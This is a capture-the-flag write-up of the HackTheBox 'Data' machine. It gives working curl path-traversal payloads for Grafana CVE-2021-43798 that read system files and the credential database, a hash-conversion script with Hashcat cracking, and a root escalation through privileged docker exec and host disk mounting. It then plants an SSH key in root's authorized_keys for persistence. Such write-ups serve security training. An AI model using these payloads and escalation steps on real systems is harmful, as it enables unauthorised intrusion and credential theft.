Data - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐☆☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Data is an Easy Linux machine centered around exploiting a path traversal vulnerability (CVE-2021-43798) in Grafana to extract the application database. By leveraging arbitrary file read, the attacker retrieves password hashes from the Grafana database, converts them to a crackable format, and cracks them with Hashcat. The compromised credentials grant SSH access as user boris. Privilege escalation is achieved through abusing Docker privileges available to the boris user—specifically, the ability to execute docker exec with the --privileged flag, which allows mounting the host filesystem and gaining root access.

TL;DR: Exploit Grafana path traversal (CVE-2021-43798) → extract database → crack hash → SSH as boris → abuse docker exec with —privileged flag → mount host filesystem → root access.

Reconnaissance

Port Scanning

nmap -Pn -p- --min-rate=1000 -T4 10.129.234.156

Results:

PORT           STATE SERVICE VERSION
22/tcp         open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.7
3000/tcp       open  http     Grafana

The scan reveals two open services: SSH on port 22 and Grafana on port 3000.

Service Enumeration

Grafana (Port 3000):

Navigating to http://10.129.234.156:3000 presents a Grafana login page. The Grafana version is disclosed in the footer of the page, which can be used to identify applicable vulnerabilities.

curl http://10.129.234.156:3000

Vulnerability Assessment

CVE-2021-43798 - Arbitrary File Read via Path Traversal:

The Grafana version running on the target is vulnerable to an arbitrary file read vulnerability. By crafting a malicious URL with path traversal sequences (..%2F), an unauthenticated attacker can read arbitrary files from the system.

Identified Vulnerabilities:

• Path traversal in Grafana plugin endpoints
• Exposed Grafana database containing credential hashes
• Docker privileges granted to unprivileged user boris

Initial Foothold

Exploitation Path

Step 1: Verify Path Traversal Vulnerability

First, verify the path traversal vulnerability by reading /etc/hostname:

curl 'http://10.129.234.156:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhostname'

Output: e6ff5b1cbc85 (container ID)

Step 2: Extract Grafana Database

With arbitrary file read confirmed, extract the Grafana SQLite database located at /var/lib/grafana/grafana.db:

curl 'http://10.129.234.156:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
  --path-as-is \
  --output grafana.db

Step 3: Extract Credentials from Database

Use SQLite browser or command-line tools to examine the database:

sqlite3 grafana.db
sqlite> SELECT login, password, salt FROM user;

Results:

boris | dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8 | LCBhdtJWjl

The password hash is in PBKDF2-HMAC-SHA256 format.

Step 4: Convert Hash to Hashcat Format

Create a Python script to convert the hash into a format that Hashcat can crack:

#!/usr/bin/env python3
import base64
import binascii
import sys

# Define password hash (from database)
PASSWORD_HEX = "dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8"

# Define the salt (from database)
SALT_STR = "LCBhdtJWjl"

# Standard iterations for Grafana PBKDF2
ITERATIONS = 10000

# Decode the hex hash to binary
try:
    target_raw = binascii.unhexlify(PASSWORD_HEX)
except (binascii.Error, ValueError) as e:
    print("ERROR: PASSWORD_HEX is not valid hex:", e)
    sys.exit(1)

# Base64 encode the decoded hash
target_hash64 = base64.b64encode(target_raw).decode("utf-8")

# Base64 encode the salt
salt64 = base64.b64encode(SALT_STR.encode("utf-8")).decode("utf-8")

# Format for Hashcat mode 10900 (PBKDF2-HMAC-SHA256)
print(f"sha256:{ITERATIONS}:{salt64}:{target_hash64}")

Run the conversion script:

python3 convert.py > hash.txt
cat hash.txt

Output:

sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=

Step 5: Crack Hash with Hashcat

Use Hashcat with mode 10900 (PBKDF2-HMAC-SHA256) to crack the hash:

hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt

Output:

sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Time.Started.....: Tue Jul 1 11:27:58 2025 (1 sec)

Cracked Password: beautiful1

Step 6: SSH Access as boris

Use the cracked credentials to authenticate via SSH:

ssh boris@10.129.234.156

Output:

boris@data:~$ ls -la user.txt
-rw-r----- 1 boris boris 33 Jul 1 09:59 user.txt
boris@data:~$ cat user.txt
<redacted>

Privilege Escalation

Docker Privilege Abuse

Step 1: Enumerate Sudo Privileges

Check what commands boris can execute with sudo:

sudo -l

Output:

Matching Defaults entries for boris on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User boris may run the following commands on localhost:
    (root) NOPASSWD: /snap/bin/docker exec *

The boris user can execute docker exec as root without a password. This is the privilege escalation vector.

Step 2: Identify Target Container

From the earlier path traversal, we discovered the container ID: e6ff5b1cbc85

Step 3: Execute Docker Exec with Privileged Flag

Execute an interactive bash shell inside the container with the --privileged flag, which grants the container privileged capabilities:

sudo docker exec -u root --privileged -it e6ff5b1cbc85 bash

Step 4: Mount Host Filesystem

Inside the container, identify the host filesystem device and mount it:

bash-5.1# mount | grep -E "sda|ext4"

Output (excerpt):

/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime)

Mount the host filesystem to /mnt:

bash-5.1# mount /dev/sda1 /mnt

Step 5: Read Root Flag

Access the root flag from the mounted host filesystem:

bash-5.1# cat /mnt/root/root.txt
<redacted>

Step 6: Establish Persistent Root Access (Optional)

To gain a persistent shell as root on the host, add your SSH public key to the root user’s authorized_keys:

bash-5.1# echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICVF6LYsvfYtSerk8vgX4AYnEdeqYuu1pvCG6nWuOdoI' > /mnt/root/.ssh/authorized_keys
bash-5.1# exit

Connect as root via SSH:

ssh root@10.129.234.156

Output:

Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1103-aws x86_64)
root@data:~#

Attack Chain Summary

Enumerate Port 3000 (Grafana)
    ↓
Exploit CVE-2021-43798 (Path Traversal)
    ↓
Extract /var/lib/grafana/grafana.db
    ↓
Parse Database & Extract Hash
    ↓
Convert Hash to Hashcat Format
    ↓
Crack Hash with Hashcat (beautiful1)
    ↓
SSH Access as boris
    ↓
Enumerate Sudo Privileges
    ↓
Execute docker exec with --privileged flag
    ↓
Mount Host Filesystem (/dev/sda1 → /mnt)
    ↓
Read Root Flag
    ↓
ROOT ACCESS

Tools Used

Key Learnings

Techniques Practiced

• Path traversal vulnerability exploitation in web applications
• SQLite database enumeration and credential extraction
• Password hash identification and conversion for cracking tools
• Dictionary-based password cracking with Hashcat
• Docker privilege escalation via --privileged flag abuse
• Host filesystem mounting from within containers
• Establishing persistent SSH access through authorized_keys manipulation

Lessons Learned

1. Version Disclosure Matters: Grafana publicly displayed its version, allowing attackers to identify CVE-2021-43798. Always minimize service version exposure.

2. Database Accessibility: The Grafana database was accessible via path traversal without authentication. Implement strict access controls on application data directories.

3. Dangerous Docker Permissions: Allowing unprivileged users to execute docker exec with arbitrary flags (especially --privileged) is a critical security risk. Restrict Docker access and audit all sudo rules.

4. Privileged Mode Capabilities: The --privileged flag grants containers excessive kernel capabilities, including the ability to mount filesystems. Use container security best practices and least-privilege principles.

5. Hash Format Conversion: Understanding hash formats and being able to convert between them is essential for password cracking. Different tools require different formats.

6. Layered Defense: This machine demonstrates the importance of defense-in-depth. A single vulnerability (CVE-2021-43798) led to complete system compromise through a chain of exploits.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>